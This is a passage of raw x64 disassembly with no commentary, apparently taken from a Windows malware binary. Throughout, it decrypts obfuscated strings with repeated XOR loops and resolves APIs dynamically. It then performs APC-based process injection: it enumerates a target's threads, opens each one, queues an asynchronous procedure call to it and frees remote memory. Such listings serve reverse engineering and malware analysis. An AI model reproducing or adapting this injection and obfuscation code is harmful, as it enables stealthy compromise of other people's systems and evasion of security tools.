paddb xmm10, xmm0
movd xmm1, dword [rbp + 0x218]
xorps xmm10, xmm1
movd dword [rbp + 0x218], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rbp + 0x21c]
xorps xmm13, xmm1
movd dword [rbp + 0x21c], xmm13
mov ebx, reloc.WS2_32.dll_recv
mov r13, qword [rsp + 0x58]
mov eax, ebx
lea r8, [rbp + 0x210]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x39
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x13
jl 0x140024210
lea rcx, [rbp + 0x210]
call fcn.1400163d0
jmp 0x14002544f
movups xmm0, xmmword [str.nHRHXnM__07_b_3k]
movups xmmword [rbp + 0x8a8], xmm0
movsd xmm0, qword [0x1400d63d8]
movsd qword [rbp + 0x8b8], xmm0
mov eax, dword [0x1400d63e0]
mov dword [rbp + 0x8c0], eax
movzx eax, byte [0x1400d63e4]
mov byte [rbp + 0x8c4], al
mov r8d, ebx
cmp r15d, 2
jl 0x14002439d
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x8a8]
mov edx, dword [rbp + 0x1320]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400242b0
cmp r8d, 0x1d
jge 0x1400243df
movsxd rax, r8d
lea r9, [rbp + 0x8a8]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x1400243b0
lea rdx, [rbp + 0x8a8]
lea rcx, [rbp + 0xfb0]
call fcn.140040340
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xfb0]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0xfb0]
call fcn.140040140
movups xmm5, xmmword [str.R_IRXR_fro__E]
movups xmmword [rbp + 0x568], xmm5
movq xmm6, qword [0x1400d54d0]
movq qword [rbp + 0x578], xmm6
movzx eax, word [0x1400d54d8]
mov word [rbp + 0x580], ax
mov r8d, ebx
mov esi, reloc.WS2_32.dll_inet_ntoa
cmp r15d, 2
jl 0x14002459d
movdqa xmm4, xmmword [str.99999999]
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm1, xmm5
xorps xmm3, xmm1
movq qword [rbp + 0x568], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x570]
xorps xmm3, xmm0
movq qword [rbp + 0x570], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm0, xmm6
xorps xmm3, xmm0
movq qword [rbp + 0x578], xmm3
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x568]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x1400245b0
lea rcx, [rbp + 0x568]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r10, rax
test rax, rax
jne 0x14002481e
movups xmm2, xmmword [str._OqRZJ___n___Hz]
movups xmmword [rbp + 0x228], xmm2
cmp r15d, 2
jl 0x1400247d6
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd ecx, xmm14
movd xmm0, ecx
paddb xmm8, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm8, xmm0
movd dword [rbp + 0x228], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x22c]
xorps xmm11, xmm1
movd dword [rbp + 0x22c], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, ecx
paddb xmm10, xmm0
movd xmm1, dword [rbp + 0x230]
xorps xmm10, xmm1
movd dword [rbp + 0x230], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rbp + 0x234]
xorps xmm13, xmm1
movd dword [rbp + 0x234], xmm13
lea rcx, [rbp + 0x228]
call fcn.1400163d0
jmp 0x14002544f
lea r8, [rbp + 0x228]
nop dword [rax]
mov eax, 0x29e4129f
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x39
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x10
jl 0x1400247e0
lea rcx, [rbp + 0x228]
call fcn.1400163d0
jmp 0x14002544f
movsd xmm0, qword [str.uUZXqW_2_0:]
movsd qword [rbp + 0x88], xmm0
mov ecx, dword [0x1400d6870]
mov dword [rbp + 0x90], ecx
movzx eax, byte [0x1400d6874]
mov byte [rbp + 0x94], al
mov r8d, ebx
cmp r15d, 2
jl 0x140024996
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.uUZXqW_2_0:]
xorps xmm1, xmm0
movd dword [rbp + 0x88], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x8c]
xorps xmm2, xmm1
movd dword [rbp + 0x8c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x88]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400249b0
lea rdx, [rbp + 0x88]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
jne 0x140024bcc
movsd xmm0, qword [0x1400d4968]
movsd qword [rbp + 0x110], xmm0
mov ecx, dword [str._1_65G]
mov dword [rbp + 0x118], ecx
movzx eax, word [0x1400d4974]
mov word [rbp + 0x11c], ax
movzx eax, byte [0x1400d4976]
mov byte [rbp + 0x11e], al
cmp r15d, 2
jl 0x140024b80
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [0x1400d4968]
xorps xmm8, xmm0
movd dword [rbp + 0x110], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x114]
xorps xmm11, xmm1
movd dword [rbp + 0x114], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm1, ecx
xorps xmm10, xmm1
movd dword [rbp + 0x118], xmm10
mov ebx, esi
mov eax, ebx
lea r8, [rbp + 0x110]
add r8, rax
nop dword [rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x39
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xf
jl 0x140024b90
lea rcx, [rbp + 0x110]
call fcn.1400163d0
jmp 0x14002544f
movups xmm2, xmmword [0x1400d5190]
movups xmmword [rbp + 0x1d8], xmm2
movsd xmm0, qword [0x1400d51a0]
movsd qword [rbp + 0x1e8], xmm0
movzx eax, byte [0x1400d51a8]
mov byte [rbp + 0x1f0], al
mov r8d, ebx
cmp r15d, 2
jl 0x140024e90
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x1d8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1dc]
xorps xmm2, xmm1
movd dword [rbp + 0x1dc], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1e0]
xorps xmm2, xmm1
movd dword [rbp + 0x1e0], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1e4]
xorps xmm2, xmm1
movd dword [rbp + 0x1e4], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1e8]
xorps xmm2, xmm1
movd dword [rbp + 0x1e8], xmm2
movdqa xmm6, xmmword [0x1400d7380]
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1ec]
xorps xmm2, xmm1
movd dword [rbp + 0x1ec], xmm2
mov r8d, Ordinal_27
jmp 0x140024e98
movdqa xmm6, xmmword [0x1400d7380]
mov eax, r8d
lea r9, [rbp + 0x1d8]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140024eb0
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0xfd0]
call fcn.140040340
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xfd0]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0xfd0]
call fcn.140040140
mov eax, dword [0x1400ecb3c]
cmp eax, 1
jne 0x1400254b2
movups xmm0, xmmword [0x1400d4d38]
movups xmmword [rbp + 0xb88], xmm0
movups xmm1, xmmword [0x1400d4d48]
movups xmmword [rbp + 0xb98], xmm1
movups xmm0, xmmword [0x1400d4d58]
movups xmmword [rbp + 0xba8], xmm0
mov eax, dword [0x1400d4d68]
mov dword [rbp + 0xbb8], eax
movzx eax, byte [0x1400d4d6c]
mov byte [rbp + 0xbbc], al
mov r8d, ebx
cmp r15d, 2
jl 0x14002507d
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xb88]
mov edx, dword [rbp + 0x1320]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140024f90
cmp r8d, 0x35
jge 0x1400250bf
movsxd rax, r8d
lea r9, [rbp + 0xb88]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140025090
lea rdx, [rbp + 0xb88]
lea rcx, [rbp + 0xff0]
call fcn.140040340
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xff0]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0xff0]
call fcn.140040140
mov edi, dword [rbp + 0x12c8]
mov edx, edi
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400251a4
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x12dc], xmm0
mov qword [rbp + 0x12ec], rbx
mov dword [rbp + 0x12d8], Ordinal_33
lea rdx, [rbp + 0x12d8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x14002519b
cmp dword [rbp + 0x12e4], edi
jne 0x140025187
mov r8d, dword [rbp + 0x12e0]
xor edx, edx
mov ecx, reloc.WS2_32.dll_select
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x140025181
mov r8, r13
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [rbp + 0x12c8]
lea rdx, [rbp + 0x12d8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x140025145
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rbp + 0x1370]
movzx eax, word [0x1400d4d34]
mov word [rbp - 0x1c], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov edx, dword [0x1400d4d30]
movups xmm2, xmmword [str.40xTX_K__b___2__hkjAGDO]
mov byte [rbp - 0x1a], al
mov dword [rbp - 0x20], edx
movups xmmword [rbp - 0x30], xmm2
cmp r15d, 2
jl 0x1400253e3
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd ecx, xmm14
movd xmm0, ecx
paddb xmm8, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm8, xmm0
movd dword [rbp - 0x30], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rbp - 0x2c]
xorps xmm11, xmm1
movd dword [rbp - 0x2c], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, ecx
paddb xmm10, xmm0
movd xmm1, dword [rbp - 0x28]
xorps xmm10, xmm1
movd dword [rbp - 0x28], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rbp - 0x24]
xorps xmm13, xmm1
movd dword [rbp - 0x24], xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
andps xmm15, xmm12
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, ecx
paddb xmm15, xmm0
movd xmm1, edx
xorps xmm15, xmm1
movd dword [rbp - 0x20], xmm15
mov ebx, reloc.WS2_32.dll_sendto
mov eax, ebx
lea r8, [rbp - 0x30]
add r8, rax
nop dword [rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x39
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x17
jl 0x1400253f0
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x1030]
call fcn.140040340
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x1030]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0x1030]
call fcn.140040140
nop
lea rcx, [rbp + 0x1418]
call fcn.1400038f0
nop
lea rcx, [rbp + 0x1330]
call fcn.140040140
nop
lea rcx, [rbp + 0x1350]
call fcn.140040140
nop
lea rcx, [rbp + 0x1398]
call fcn.140040140
nop
lea rcx, [rbp + 0x13d8]
call fcn.1400038f0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14002ebb5
cmp eax, 2
jne 0x1400251ab
movups xmm0, xmmword [str.pTQYJV__b]
movups xmmword [rbp + 0xa58], xmm0
movups xmm1, xmmword [0x1400d5518]
movups xmmword [rbp + 0xa68], xmm1
mov eax, dword [0x1400d5528]
mov dword [rbp + 0xa78], eax
movzx eax, word [0x1400d552c]
mov word [rbp + 0xa7c], ax
mov r8d, ebx
cmp r15d, 2
jl 0x14002560d
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xa58]
mov edx, dword [rbp + 0x1320]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
